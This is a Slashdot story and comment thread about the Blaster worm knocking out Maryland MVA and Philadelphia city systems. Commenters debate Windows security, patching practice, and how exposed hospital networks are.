Windows Virus Takes Out Gov't Agencies in MD, PA

Zolzar writes "Looks like the Md. State Motor Vehicles Administration is the first government agency reporting a failure of their systems due to the recent virus." This is a more specific story about the outage. And the city of Philadelphia has suffered as well.

Comments

Yes

[Raven42rac]

Let's prove how insecure everyone already knows Windows is by shutting down government agencies, gee, I am sure the "haxor" would have been really proud of his/her self if he/she proved their point by porking say a hospital's computer system. What an asshole.

Re:Yes

[rmohr02]

How do you know this person was trying to get people to switch to Linux (or anything non-MS)? S/he could just be an ordinary asshole, without a point to prove.

Re:Yes

[idiotnot]

More than just government agencies have been affected by this.

But, yes, the guy and his message wreak of "asshole."

My network is secure from what I can tell -- but I don't admin the windows machines either....

Re:Yes

[molarmass192]

I would hope hospitals do not run critical systems a) on Microsoft software but especially b) on a LAN with any access to the internet. It's sheer lunacy if they do and could be used as grounds for a lawsuit. On the otherhand, they can do whatever they want with their accounting, cafeteria, and parking meter systems since a lawyer wouldn't pounce on that kind of ... wait ... I'm probably underestimating now.

Re:Yes

[Narcissus]

You say that like the worm was aimed at government agencies, which is absolutely not true. That would be almost like saying "let's prove how powerful we are by taking out the town hall" just before dropping the bomb on Hiroshima...

OK, so maybe not, but I hope you get my point.

What I found interesting in the article was that now, apparently, only Windows machines are connected to the internet: "Millions of unprotected personal computers remain vulnerable to the worm, which can infect any machine connected to the Internet, experts said Tuesday".

Who are these experts saying this, or is it just another case of a reporter getting it wrong?

Re:Yes

[SubjunctiveSam]

You bring up an interesting point. My father is a Windows 2000 administrator for a large multi-site hospital system(seven hospitals, 2 longterm care facilities and 35 clinics). Thankfully they stay up to date on the latest patches and have a good firewall so they were completely unaffected. They also recently went through an emergency preparedness drill making them take a look at what would happen on the computer side of things if say, a tornado wiped out such and such hospital. They look at things like, where do we keep the tape backups of patient records, what services are necessary for the billing department? For the most part, mission critical applications are mainframe issues, and patient records etc are isolated from silly internet-propagated worms.

My point is that if a staff has competent employees with an eye for security, usually viruses and worms' impact can be reduced to at most, a nuisance.

Still, I agree with you completely. Virus authors need to realize that it's not all just in fun. People don't "deserve it" just because they are vulnerable. And, you're not going to teach anyone a lesson. It's not l33t haxoring, it's childish and immature vandalism, plain and simple.

Re:Yes

[Anonymous Coward]

How does a post that demonstrates the author read neither the parent to which he is replying nor the article itself get moderated "insightful."

To wit:
1) The parent says nothing about switching to Linux.
2) The article mentions that the worm leaves a message poking fun at Windows' security history thus demonstrating the author =does= have a point to prove.

Re:Yes

[Anonymous Coward]

Actually, many hospitals DO run critical systems on Microsoft software. Also, the LAN need not be on the internet to catch a virus. Hospitals (such as the one I work in) have connections to several large companies. When these companies get infected, so do we. Another thing is laptops. All it would take is an infected laptop to plug into the network for the virus to spread. There are plenty of opportunities for viruses to propagate into the network, not just having 'access to the internet'.

Re:Yes

[Anonymous Coward]

I guess you guys really don't understand that this could have been a lot worse. What if it started formatting computers, settings motherboard voltages to high settings or screwing up BIOSs? It COULD have happened. We were LUCKY that it was ONLY rebooting computers.

It could have been much worse, and it's all microsoft's fault. (why enable RPC by default, simply retarded)

Re:Yes

[soupart]

Very good point about hospitals.

I have many systems in many hospitals and they are windows based.

Am I scared of what could happen?

You bet your life.

One of the corprate hospitals (oh yeah, they can own those too) I support had, at last report, five servers in there local server room completely down. The traffic alone on the network hindered my system, but we are still up, and a patch time is set.

"... is set?" you say?

Downtime is a HUGE issue for my company. If our system isn't up, a major communtication link that ALL hospitals rely on in one fashion or another is gone. The last thing I need is to get a call saying that a Radiologist's report on an ER patient didn't get seen or heard by the ER physician in time to save a life. You want to talk mission critical systems? 24/7 with human lives at stake. I don't think it can get more serious than that.

Re:Yes

[websaber]

It contains the message

"I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!"

Doesn't mean there is a agenda but there could be.

Re:Yes

[xilmaril]

oh c'mon, let's face it. to john/jane doe, all computers run the same OS, and the 10% of netizens that know of other OSes don't need a warning.

Re:Yes

[Anonymous Coward]

Oh ah. From shutting down irrelevant wastes of money like "government agencies" to "what if a hospital were shut down"... and you get +5 Interesting. Yes. Let's Save The Children.

I trust the average hospital IT admin has a little more interest and motivation to install security patches than the bureaucrat-for-life morons running the government agencies.

Re:Yes

[nolife]

I believe this is a side effect of the Windows dominant world. Many people have no idea that there is an alternative. If you look back at the media coverage of any of the many Outlook/OE and IE related viruses and worms, like Melissa, and many others.. You will find people claiming that it is an "email" virus. It is not, it is an OE/Outlook virus and can ONLY spread if using those products. 99% of the time, if you are not using a MS provided mail client/web browser you would be completely safe even with no firewall and virus scanner from those "email" viruses, although not the case here with MS Blaster. I think if the media stated that fact every time this happened, it might sink into peoples heads that it might be a good idea to look for something else. Funny that this virus name actually contains a reference to Microsoft being called MSBlaster. I wonder if they tried to get that changed, funny how they call it Blaster, not MSBlaster like everyone else.

Re:Yes

[droyad]

It's really their own fault. Any enterprise running mission critical systems should pach their systems. It doesn't matter Windows has more flaws than Linux. A solid security policy is a must regardless of OS.

Re:Yes

[molarmass192]

Let me get this straight, patient monitoring systems are plugged into the same LAN in which doctors, admins, and what-not are free to plug in their laptops? I don't work in a hospital but even we have DMZ subnets for more sensitive parts of our network. I can't (or rather don't want to) believe that hospitals don't segment their networks the same way.

Re:Yes

[soupart]

You can hope until the cows come home friend, cause I'm here to tell you that Windows is in every hospital, every clinic, and every doctors office you visit. Even the big fish: Mayo, Boston, etc. Sorry to rain on your parade.

As far as being on a lan with access to the interent, that argument is pretty much useless. One infected machine on the inside and you are a potential target. Just the way it works.

Re:Yes

[Raven42rac]

First of all, I am a dumbass for replying to an AC.
Secondly, I am not a bleeding-heart, just getting sick of, "good, that will teach them, hahaha" "it is their fault for running M$". That is bullshit and you know it. I am just saying, shutting down some random government agencies is "funny" to some /.ers, just trying to put things in persective.
Thirdly, since when are hospitals exclusively for minors??

Re:Yes

[Pathwalker]

Formatting hard drives? Screwing up the BIOS? We'd still be lucky if that was all that happens.

The idea that scares me is a slowly spreading virus - hiding as well as it can, and remaining on systems for months or years.

I had a full description of a possible payload, and the effects it could have, but I thought better and deleted it.

All I will say, is that a virus that targeted not the computers, but the business processes of the company that uses them could do some major damage.

Re:Yes

[KshGoddess]

I worked at a hospital, in IT, oddly enough. All of the critical software we had was run on UNIX.* From patient care to billing, including our ER software. BUT... it was run in a terminal window on a windows box.

If the hospitals 'out there' are anything like the one I worked at, they'd be all over the worm, patched all desktops through login scripts, patch all servers quickly and quietly, with a minimum of downtime.

*At the time I left, we had one fairly massive 'system' of 12 NT boxen for a slightly critical service -- medical records. But the place I worked had some of the best of the best NT people. So they'd be on top of everything before it happened. ;)

Re:Yes

[Raven42rac]

Good points all around, especially the last sentence.

Re:Yes

[Gojira Shipi-Taro]

Either way, String 'em up. It's not cool, clever, or helpful, kids. Pull this shit, and get caught (and the Feds are LOOKING for you this time) and you won't be able to use anything more technologically advanced than a graphite pencil for about 70 years. Enjoy.

Re:Yes

[Raven42rac]

I am not saying it was aimed at government agencies, I am saying "what if?". A lot of people's attitudes around here is "hahaha, serves them right, stupid government". BS. What if the tables were turned, the worm writer would not be a "hero" for uncovering flaws.

Re:Yes

[Alien Being]

If everyone already knows how insecure Windows is, then what kind of assholes installed it in the first place?

Re:Yes

[Gojira Shipi-Taro]

A Felony is a Felony. If I leave my wallet in my locked car, and some punk uses an "exploit" involving a coat hanger to unlock the door and steal it, that doesn't make him any less likely to go to jail if caught. Hack the wrong computer with your little "piece of art" and you can disappear and never be heard from again these days. You won't be missed.

Re:Yes

[Cat_Byte]

I've been knocking on doors for a job since I was laid off on December 24th. It seems most of the hospitals have contracted out their IT positions rather than have them in-house.

Hey when I was a contractor I walked in, did what they asked me to do, then went on to the next job site. I didn't go around asking if they had seperate LANs for sensitive equipment because...well...I was paid salary and wanted to go home after my 10 hr day. I'm sure the current contractors feel the same way.

Being a local sysadmin/network admin is different. It's your baby, you get the call at 3am when things go bad, you make sure that doesn't happen. Too bad employers don't see that and I bet you this one still doesn't see it that way.

Re:Yes

[Anonymous Coward]

The worm doesn't even infect all Microsoft systems, or even all of the ones Microsoft says it does for that mattter. Only XP and 2000, are vulnerable to it(I think... I could be wrong on that, but there are only two versions effected). The DCOM exploit on which it was based is present in more systems though, which means there is a potential for a worm which would be even more widespread than the current one.

Re:Yes

[Anonymous Coward]

I'm filled with envy. At the hospital I worked at we too had a command line on some of the monitors...a dos prompt. I was so excited for a couple seconds after I first saw it and then spent the rest of the day surpressing a scream of disbelieving horror. Our medical records were stored on NT4 as well, though only after a disturbingly long time running 98.

Re:Yes

[Anonymous Coward]

There was recently a situation in a hospital where a virus was installed on an internal network which contained patient records, which I believe were subsequently destroyed. The network was isolated from the internet, but the virus was introduced by an employee installing a game on one of the computers. This brings up the question, are ALL of the employees at the hospital you speak of "compentant...with an eye for security?" The virus I referred to above was introduced by a nurse.

Re:Yes

[Molina the Bofh]

So, he is an asshold who did this in order to eat SAN's asshole.

Re:Yes

[EverDense]

How do you know this person was trying to get people to switch to Linux (or anything non-MS)?
S/he could just be an ordinary asshole, without a point to prove.

Absolutely, assholes are like opinions... even OpenBSD has them.

Re:Yes

[SomeGuyFromCA]

Payload is obvious - HD wipe. The kicker is that any useful backups will of course be infected.

The problem with that is that the longer you let the virus sit, the more likely it will be detected by an AV company and neutralized before it detonates.

I happen to know someone who wrote a proof of concept for this; three varieties, word macro, worm, and .exe infector. Payload goes off six months after infection.

Fortunately, she nuked it without reattaching the testbed machine to the 'Net.

Re:Yes

[Anonymous Coward]

This is flame-bait if I ever saw it.

Re:Yes

[IM6100]

Many people have no idea that there is an alternative.

And then the issue is compounded to be even worse. People like the parent phrase it like there's an alternative, and not numerous alternatives. Some of the alternatives are significantly more usable than Linux on the desktop. Yet we find people here posing it like it's an either/or choice.

Re:Yes

[TedCheshireAcad]

This is unfortunate, as the most entertaining worms/virii are those that contain broken English. Example:

VERY JOKE! See US President and FBI Secrets!

However, to the dismay of many a sys-admin, this worm is not VERY JOKE. Sigh.

Re:Yes

[cyril3]

My AV software CA Innoculan calls it w32.poza virus

Re:Yes

[Alien Being]

"and the Feds are LOOKING for you this time"

Big whoop, they're looking for Osama too. But that doesn't stop them from locking the cockpit doors. The real story here isn't that MS sucks, or that there are bad people in the world. The story is that there are a whole bunch of computer illiterate morons who use Windows for critical tasks.

Windows is a Mickey Mouse toy and the sooner people acknowledge that fact, the better off we'll all be.

Re:Yes

[romanval]

Doesn't the EULA specifically state that Windows is not certified for any mission critical (lives at stake) type of apps? -- You know, medical devices, air traffic control, nuclear power plants, etc..

So why is it still being used? Do the VARs that are making and selling such devices assume the full liability that MS is sheilded from?

Re:Yes

[b4rB3li7h]

The Boss came in gthis morning with his laptop and guess what we found on it....that's right....blaster! luckily we got it b4 it hit anything too hard but it shows that you can take all the internal precautions and still get caught out by someone plugging after a few days off site. matty.

Re:Yes

[Anonymous Coward]

assholes are like opinions... even OpenBSD has them.

Guess that explains the smell coming of my OpenBSD CDs then.

Re:Yes

[Pathwalker]

There are worse things that just wiping a hard drive. Wiping all data is obvious, and you know it happened.

What if a virus was capable of recognizing some common file types, and making a few changes?

Every so often adding or subtracting from a cell in a spreadsheet? Finding a CAD file and changing the thickness of some metal?

How about an easy one? Social Security Numbers are easy to identify - what if a virus looked for them in files, and changed a digit in a few of them at random?

What's worse than no data?

Data that you have no idea if it is correct or incorrect, and have no idea if any of your backups are correct or incorrect.

Re:Yes

[realdpk]

And to the enjoyment of many a sys-admin, this worm is VERY JOKE, but no US President and FBI Secrets. Oh well.

Re:Yes

[usotsuki]

IMHO anything "mission-critical" should run on an incompatible OS/hardware setup, so people cannot transfer software to it, and be totally detached (no floppy drives, no CD-ROM drives, no Internet) from the rest of the world - a CD-ROM drive perhaps can be plugged into the printer port or something if it's needed, but only an admin should be able to get that far - if a computer is 100% an island, it is entirely feasible.

-uso.

Re:Yes

[hobbesmaster]

Nobody will die if your hospital loses all billing records. Well, the accountants might have heart attacks, but I digress...

Re:Yes

[SubjunctiveSam]

No, they're not. From what he tells me, most of the employees have locked down systems that run all their needed apps from the network over citrix metaframe etc. Nothing is supposed to be installed or stored locally on any of the client systems. Yes, viruses could probably still be introduced via the method you described, but they would probably only infect client machines, not the systems where the databases are stored. Another related and interesting issue, is doctors there whining that, for example, aol instant messenger can't get through the firewall. Of course you can't tell doctors they shouldn't run that, so there's no choice but to open it up. Demands from doctors are on of the bigger headaches for the IT support staff there.

Another good one is when doctors go to some convention and a software vendor convinces them they need some piece of software. One that doesn't work with the databases already set up, etc.

Re:Yes

[darkov]

Virus authors need to realize that it's not all just in fun.

I don't think virus authors are the point. It's easy to make obvious statements about how childish and irresponsible this guy is, but it's not like he invented worms. There were possible and probable before he sat down to code this one. So if people die in the hospital the blame rests with the people who administer the networks, the machines and the hospital. And Microsoft. It's their responsibility.

I think the people who write these things serve a useful purpose in strengthening security - like eating dirt when you're young helps you build your immune system.

Re:Yes

[Anonymous Coward]

Hahaha... you have faith.

Back in the day, I was called to a hospital in the middle of nowhere that stored everything (patient records, accounting, etc) on a single IBM AIX box.

Someone who was supposed to be an admin blasted the /etc filesystem and thought unplugging the machine would fix it. (So all the databases were f-ed up too)

The last backup had been made approximately 3 years before and the system had been upgraded several times. Nobody knew what version the system was actually on, and the one contractor who did was climbing a mountain somewhere. (This is happening at 2AM saturday) It was also in "Trusted" mode.

To make a long story short, we eventually got in and got everything up on Sunday night.

Lesson #5675: Never underestimate the incompetence of hostpital IT staff. (Particularly small hospitals).

Re:Yes

[DetrimentalFiend]

You would be quite frightened to hear what goes on in medical networks. The medical networks I have expierence with have gaping holes and are all linked together via a giant lan. Few people have firewalls and most security attempts are thwarted by doctors demanding that they be excluded from any policy that isn't transparent to them. It's hard to explain, but medical networks are not anything like you'd imagine. (Much less any DMZ or special segmentation.)

Re:Yes

[wo1verin3]

Actually the medical clinic near my house has a complete mac network including servers.

Re:Yes

[SubjunctiveSam]

Yes, I agree with all of that. My only question is what else could Microsoft do? The patch is out, and forced automatic security updates via the net whenever a new patch is released would cause more problems than it would solve. Should Microsoft make more of an effort to educate it's users and encourage them to install the latest updates? If this is what you're saying, I agree also.

I don't see why home.msn.com, the default homepage for Internet Explorer, doesn't nag everyone to get the latest patches.Right now all it says is "Internet Worm Spreads" in point 12 font. The "Recipes that Sizzle" box easily takes up 13-14 times the amount of space. It should say in bright bold huge font, "Is your computer shutting down on it's own? Download the patch now to stop those hackers in your computer or keep them out before they start!" That's close enough to the truth, and it would get a lot more people to download, which is what's important to slow the spread. I talked to a kid that was quite dumbfounded by the worm. He didn't ever have enough time before shutdowns to even figure out what it was. Most people I think would need that kind of prodding to actually get the patch. Most people will not know what "internet worm spreads" even means, or that it applies to them.

Now, do you mean to say that it's Microsoft's fault for making an operating system vulnerable in this way in the first place? It' harder for me to put the blame on them in that way. This was a very stupid vulnerability, but everyone makes mistakes!

Re:Yes

[Anonymous Coward]

This was a very stupid vulnerability, but everyone makes mistakes!

How many mistakes does it take before it's just incompetence? It's not like this is the first, nor last, mistake they have made.

Re:Yes

[WebCrapper]

My soon to be father in law actually goes out and maps the serious LAN & WAN setups for hospital systems and recommends changes for both security and long term growth. You would be amazed at some of the issues that he runs across.

The last contract had over 32 exchange servers on one the network - every dept had their own and each had its own configuration as well as security flaws.

The other big aspect he runs across are shitty net admins that argue about the setups of the network. Most recently, after a week of arguing with his workers with contractors in the room, a manager proudly presented a map of his department's network and said that his area didn't need to be touched by contractors that just wanted to spend money. Too bad what he had mapped out couldn't even work in the real world.

And a major issue that he runs into are the network admins that leave the RAS ports open for vendor updates. These people just turn them on and walk away allowing any vendor and god knows who else access to 'update software on the fly'.

Hospitals are no different than any other company out there. They pull people in at the lowest price to put the cheapest stuff together to make sure it saves lives. Figure that one out.

Re:Yes

[majorflaw]

I really have to question why people are willing to tolerate M$ products failure rates. If your car refsed to cooperate and broke down as frequently, you'd find another means of transportation. If my Mac acted like that it would be out of a job. Why do so many believe that computers are a miracle, only M$ makes them, and they're so delicate that they should be forgiven their failures, despite the fact that their failures are mostly due to extreme laziness on the part of M$. Interesting business model they have at M$, let your customers due your beta testing.

Re:Yes

[tuba_dude]

Is it just me? I read that as meaning "OpenBSD has opinions." I'm not saying that's bad or anything, but HAL was not a fun computer.

Re:Yes

[Keeper]

Life support systems, heart monitors, and other devices of that sort are not plugged into a LAN. The requirements for those kind of devices is unbelievable -- I actually feel sorry for anyone who has to work on such systems, after having seen what kind of hoops those devices have to go through.

Re:Yes

[Anonymous Coward]

IHBT. IHL. But. Many hospitals use the networks to swap patient information. X-rays are one of them. My brother is a doctor, and he was recently talking about the increasing computerization of medicine which both he and I think is, on the whole, a good thing. I do think that it is important to put appropriate controls on your systems, and I would like to see the servers running a specially-designed OS (my opinion, a Linux kernel with more mission critical checking) for this.

Re:Yes

[arendjr]

It's not l33t haxoring, it's childish and immature vandalism, plain and simple.

Call it terrorism. More people will understand you.

Re:Yes

[Anonymous Coward]

Sendmail?
BIND?
Umm C in general?

Why don't you just sign up for Bill O'Reily's mailing list. I'm sure that if you're ever at a loss for oft repeated things that pass for facts, he could provide you with new bullshit to nod at.

Re:Yes

[innosent]

I actually feel sorry for anyone who has to work on such systems, after having seen what kind of hoops those devices have to go through.

Thanks for the sympathy. I did some embedded work for a medical instrument, and you're right, there are a whole ton of hoops to jump through, in many cases there are specific ways you have to solve a problem, perform a procedure, and document your work. It's a pain in the ass. After that, try for FDA approval... That's even worse.
Of course, new legislation tightens the noose on the programmer even further, which is one of the reasons why I work on the laboratory side now, not the hospital (OR especially) side.

Re:Yes

[RoLi]

Yes, I agree with all of that. My only question is what else could Microsoft do?

Microsoft has 2 choices:

• Design software securely and test it before release
• Make more money by doing quick-n-dirty designs and let the users be beta-testers, let the PR-department handle the security.

Actually, I think Microsoft made the right decision, it's not their wasted time when users have to patch their systems weekly and there are enough morons out there that will defend them with stuff like "what else could Microsoft do".

Face it: If you make yourself utterly dependent on one single organization, you also lost all respect from that organization. And it doesn't matter if that company's name is Microsoft, Apple, IBM or Sun.

As soon as they realize that you would have to face serious switching-costs, they will treat you like servants.

Re:Yes

[NanoGator]

"Some of the alternatives are significantly more usable than Linux on the desktop. Yet we find people here posing it like it's an either/or choice."

Worse, sometimes it's not a choice at all. There are some things the alternatives can't do today. (Granted, this issue is drastically declining.)

Re:Yes

[Anonymous Coward]

Critical computerized hospital equipment usually runs from embedded systems whose custom software is burned on Flash Memory with what is usually a proprietary system.

sincerely,
your anonymous coward, lol. :D

Re:Yes

[Anonymous Coward]

or asshat

Re:Yes

[mslinux]

You have backups, right??? You can reformat a hdd and reinstall the OS, right??? If yes to the above two questiones, then you should not be 'scared'

Re:Yes

[Eric Ass Raymond]

Do you have any statistics on these "failure rates"? I suppose not. Can you measure how much time these failures cost in comparison to the time lost when someone has to tweak a Linux installation ("why won't this configure-script run?")?

I suppose people use Microsoft products: 1) Because they get things done in the office with minimal learning effort. If I want to type in a technical report or a letter, I don't want to learn a friggin' programming language like LaTeX. I just want to type in the damn report. 2) Because Office files are a de facto standard when sharing documents. This reason could be mitigated if the ghostscript crowd would get their act together and provide an easily installable (see point 3) distribution of ghostview that would readily integrate with Windows' print manager. 3) Installation requires only a few mouse clicks.

Re:Yes

[RMH101]

and never underestimate how easy it is to poke fun at people on slashdot without having to back it up with evidence. i'm sure a lot of healthcare IT professionals would love to have a quiet word with you about your glib comments.

Re:Yes

[RMH101]

Right on. Let me emphasise:

MEDICAL DATA CAPTURE STUFF NEEDS TO BE VALIDATED AGAINST FDA REQUIREMENTS. THIS IS *HARD* AND YOU DON'T GET IT BY ACCIDENT.

Ask anyone who's worked on a validated or 21CFR11-compliant system.

I can't breathe on our systems without exhaustive revalidation procedures and that's the way it should be.

It's very easy to poke fun at sectors you have no experience of, but rest assured all the checks and balances you think should be there, ARE. And then some.

Re:Yes

[RMH101]

perfect! perhaps we could run it on a commodore amiga, and make sure that only one person knows how it works. then we could staple their lips together and cut off their hands.

you stop software installs and removable media through good security policy, not by running your mission critical stuff on an obscure OS that you can't support and your vendor won't support either.

Re:Yes

[gunnarstahl]

Sine mid june I'm father of a premature infant which lies in intensive care in a hospital.
At each incubator there is a terminal which keeps track of monitoring informations, medical treatment, vital functions and stuff like that. These systems are running on win nt 4.
One of the central monitoring and alertsystems -which gives an overview of the vital functions of all infants and broadcasts alerts- runs on windows nt4.
Just imagine if these systems got infected...
There are os'es which have proven to be rockstable, like qnx. Why don't they use'em?

Re:Yes

[Anonymous Coward]

Maybe this explains why you are still looking for a job?

For 8 years I worked for myself as an independent computer consultant. When I saw insecure networks, I sure as hell told them about it! One customer in particular I remember: He asked what I could do to tighten up the network, balked at the price, then paid more than that to have me get all (5 or 6) systems cleaned up after he was hit by some Windows worm.

If the customer refuses to fix a problem after he is aware of it, that's his problem. If you see security problems with his network and don't tell him about it, that's your problem!

Re:Yes

[jaavaaguru]

If you're going to bring the discussion to that level,

Referring to a previous post... There are some things that Windows can't do today (although I'd be really happy if someone can find a way to make it happen):

"Particularly the support of remote filesystem browsing through SSH. And I don't mean like Secure iXplore does - I mean properly integrated with the File Open/Save dialogs of all applications and the file manager."

Re:Yes

[Dan East]

Many instruments are networked to Windows devices. However the actual instruments almost exclusively use proprietary hardware and "OS". If the Windows machines go down the instruments will still function and can be monitored in-person.

Dan East

Re:Yes

[I8TheWorm]

It wasn't the web connection at this company that lead to our infection. Two weeks ago our genius security team patches all of the servers. This past weekend, one person brought their laptop home and, upon returning, infected most of the desktops.

Does anyone remember the Maginot Line? It wasn't necessarily bad systems that brought us to a 4 hour halt, as the patches have been available for two weeks. It was system admins who disabled WindowsUpdate on the "standard desktop" then didn't bother to patch the desktops here... knowing we have MANY laptop users.

Re:Yes

[vsprintf]

Don't forget that MS always promises that the current version of Windows is finally secure. Some people actually believe them.

Re:Yes

[isorox]

He was climbing a mountain at 2AM? Isnt that dangerous?

Re:Yes

[KshGoddess]

We had most of our important stuff running on HP-UX. Of course, this was, oh, 4-5 years ago. I doubt that they've changed much (except maybe hardware upgrades) since then. Our computer room was made up of "The Desk" (where operations staff did their work), the 8 HP boxen, band printers (and Xerox Docutechs later), and the NT boxes shoved in a corner, about 1/4 the area of the Unix boxen/printer area.

Re:Yes

[lqqkout4elfy]

I live with a doctor. He told me about how a child patient was dying today because it was taking so long to pull up information about this patient. Many patients probably either got delayed treatments that day.

I wish people just would stop using Microsoft's OS's and be serious about others' lives!

Re:Yes

[Anonymous Coward]

FYI, patient monitoring units run embedded software from ROM. They do little more than monitor and report patient statistics.

Translation: YOU cannot use them to surf the internet or check your email, you dumb-ass.

Re:Yes

[Mesozoic44]

True - most medical capture devices are isolated and safe. But as a developer who does work on 21CFR11-compliant systems that are delivered on Windows OS this won't save you on desktop machines for access to data (on servers you have a better chance - but it's not guaranteed).

For example: if you can use a web browser to access medical records and radiology images you've made this information much more broadly available in an institution. Most hospitals have VPNs - so a surgeon or neuroradiologist can log in from home to see if an emergency requires them to drive into the hospital or not. All you need is for that physcian's machine to have software installed by their kid off of the net and it's compromised. And once they log into the hospital over the VPN it can spread.

So - 21CFR11 is a wonderful thing for safety and prevents many sorts of disasters - but it's not perfect for preventing things like system DLLs being changed. You can do things like test the components that are loaded (and sign those components) but if you have a DoS attack where the only commmon intersection is TCP/IP it's hard to protect your customer.

And if you require them to use a special isolated machine then you've increased the cost of healthcare and either they will (a) buy a competing system or (b) not buy any system and that person with a stoke might not get a good diagnosis as quickly.

Some hospitals refuse to use IE or IIS on their machines because of past experience with viruses and worms. I wish more did. I know that these products aren't always the vector (well - in my experience they are) but it's odd that so little institutional learning is happening.

Re:Yes

[Overly Critical Guy]

Last month, Windows had two reported holes, while Linux had nine. And remember that filesystem-corrupting kernel release? Just another fact you never see around here. And, of course, people will make excuses for it.

Re:Yes

[Alien Being]

MS Empty Promises 5.0

I remember when win3.0 came out with a bunch of hype about multitasking. But it wasn't preemptible. It didn't have protected memory. It was still lowly DOS. Foolish me for thinking that they were talking about a real OS, like any of a dozen other OSes of the day.

4 or 5 years later they did NT, their first real OS since Xenix. So I took a look and saw that multiuser support was basically nonexistant; WTF? Then came the kernel video fiasco, ridiculous programs to ensure that admins are properly trained in the fine art of rebooting and an ever-changing product roadmap.

On the apps side, they made a huge deal about Word being equivalent on Macs and PCs. Then they started changing file formats and the latest Windows files woudn't play on the Mac for another 6 months, and even then it was shaky.

On the network side, their machines were clogging up LANS with netbeui. If you wanted to share files you had to buy Novell, Banyan or some half-assed solution. They told everyone to forget about TCP/IP because they would be introducing something much better. Finally Bill tries Mosaic and decides it's time to make a u-turn and jump on the Net. Enter the browser shenanigans, of course you still needed an addon IP stack. 95 came out with native IP...wahoo...except it sucked. On a P90, it could only do TCP at about 1/3 the speed of other OSes, and that's after it was tuned.

All the while veteran systems people were just shaking their heads trying to understand how this pig kept gaining market share. They were used to driving Cadillacs and suddenly there were all these Yugos getting in the way. Bill kept getting richer and the younger generation thinks that systems that preceded MS must have been even worse than Dos1.0 and that Windows is and has always been state of the art. We had a better OS on the PDP8 in high school.

Re:Yes

[Anonymous Coward]

The difference was that you were working for yourself and he was working for someone else. When they're your clients or your boss, you treat them nice. When you're sent there by a guy back at the office wearing a suit, you could usually give a crap. I've gone from working for multiple clients(too many, in fact) to being a local admin. The difference is black and white.

Re:Yes

[allism]

If all your systems have not been validated to use, you should scold your quality systems administrator for not properly doing his job. Every piece of software that is used within a medical establishment has to be validated to use or your company is out of part 11 compliance.

(Note that it must be validated TO USE - this does not mean you have to test all of Windows, but the functionality of what you DO use needs to have validation documentation generated for it to meet compliance standards.)

It might be a good idea to suggest to your company to hire an outside consultant to perform an audit - I think you will be surprised at what level of documentation is required. And possibly about some of the documentation that is not required.

Re:Yes

[Zeriel]

I believe part of his point was that with a sufficiently long incubation time, you could call into question the validity of your backups.

Especially if the virus does slow data-corruption rather than just wiping the data obviously.

Re:Yes

[molarmass192]

YOU cannot use them to surf the internet or check your email, you dumb-ass.

Why don't you try reading the parent post I was replying to? That's the entire point of my post, and thus the sarcastic "Let me get this straight ..." prefix. Idiot.

Re:Yes

[Anonymous Coward]

So, don't blame the man / woman who writes the worm.. they are good guys, blame those that don't protect you enough. Maybe next time I get mugged I should sue the country, state, city and the local cops...

Re:Yes

[Anonymous Coward]

But other criticl things are. In my hospital the Pyxis machines are on the LAN. These boxes are Windows based machines that are fed data via an IP interface from our main system that runs on AIX/. These Pyxis machines get an order for a medication and drop it into a littel drawer that automatically opens for the medical staff. They get the proper dosage of the proper medication. Imagine if THAT was infected!!!

Many hospitals are woefully behind. I have nothing to do with the LAN...I'm one of the AIX admins, but the LAN guys are not very good. We have a huge, flat network covering 2 hospitals and about 20 clinics in 2 cities, 5 smaller towns and 2 states. Yes, it's FLAT. The only boxes in a DMZ are the email (another AIX box) and the web server (a Linux box).

We also have many MDI's (Medical Device Interfaces) to Lab system that are like robots. The lab staff drop the sample (for instance, blood) into the device and it runs the required test and feed that data automatically into the system...via IP on our FLAT ethernet network. Anybody on a PC on the network can ping these devices....that means if you get into the network you can do a DOS attack on these devices. We have roughly 40 of them between the 2 hospitals and all the clinics.

Re:Yes

[Mesozoic44]

Of course you're correct; you didn't read what I thought I wrote. Let me try again.

You can document, test, validate, and qualify your systems to a very high standard yet still have them fail in the field. Customers (mine and possibly yours) own the computers that software is running on. If *they* violate the implicit or explicit (in our case - *explicit*) instructions for operating the software it is difficult to guarantee that it will function to the level that they expect. Our instructions and legal contacts with customes sharply define who is responsible for what.

Concretely - if some P2P music filesharing software is installed on a hospital network - or if their site has been infected by a virus or worm - even if none of the machines running my software are directly effected - the peformance of the network may make the system inoperable.

Most hospitals don't let people install personal software on hospitals machines. Yet - I've seen it. Many hospitals permit machines at home to be used to remotely access systems. These are difficult to police and control.

I agree completely with your about part 11 compliance. My point is that part 11 isn't enough in the sense that it doesn't prevent people from misusing their networks and their machines by installing unvalidated software. A special case for 'installation' of unvalidated software are the worms and virii that nest in Microsoft operating systems.

Re:Yes

[rmohr02]

1: The spam flames MS. Logically, the creator of the virus would want you to switch to something non-MS, and I gave Linux as an example.
2: Pursuing an agenda through exploiting security holes is not really pursuing an agenda. And no, I did not read the article, because washingtonpost.com won't let me use Mozilla to view it.

Re:Yes

[Anonymous Coward]

What's "right" about it? Surely not "right" as in "correct".

Re:Yes

[vsprintf]

I remember when win3.0 came out with a bunch of hype about multitasking. But it wasn't preemptible. It didn't have protected memory. It was still lowly DOS. Foolish me for thinking that they were talking about a real OS, like any of a dozen other OSes of the day.

Ah, that brings back old memories (not fond ones). Extended or expanded memory -- pick one, not both, at boot. People nowadays think dual-boot systems originated with Linux. In those days, MS PCs had to be dual-boot just to run Windows. :)

Re:Yes

[darqchild]

i would assume that he was a few timezones away...
or camping out on a peak somewhere

Re:Yes

[Anonymous Coward]

The moderator who thought that comment was flamebait is a fucken idiot.

Re:Yes

[Cat_Byte]

I think you're missing the point and comparing apples to oranges. Independent consultants WANT to find more work and get $$ from it. Hired contractors are hired to do a specific job at site A, B, and C on a particular day. When you finish job A you don't have time to scan their network and diagnose this stuff.

I run my own company now and you can be assured I look for EVERYTHING that needs to be done since it's more $$ in my pocket and I'm the one who'll be called at 3AM if it breaks again since it's practically my baby. Feels so nice :)

Has to be said...

[Anonymous Coward]

In Soviet Russia, government agencies take out you!

Re:Has to be said...

[ottothecow]

cmon...+5 funny, just because this one is true and not really a joke at all

Re:Has to be said...

[Anonymous Coward]

Perhaps we should add all posts containing both "In Soviet Russia," and "you!" to the lameness flter ;-)

Newsflash!

[ackthpt]

Government officials for the first time discover computers infected with Windows.

C'mon, this is getting so old ... but I guess that's the really pity, isn't it? Gives cities like Munich the last laugh.

Re:Newsflash!

[Osrin]

You mean "city" like Munich?

Re:Newsflash!

[Gherald]

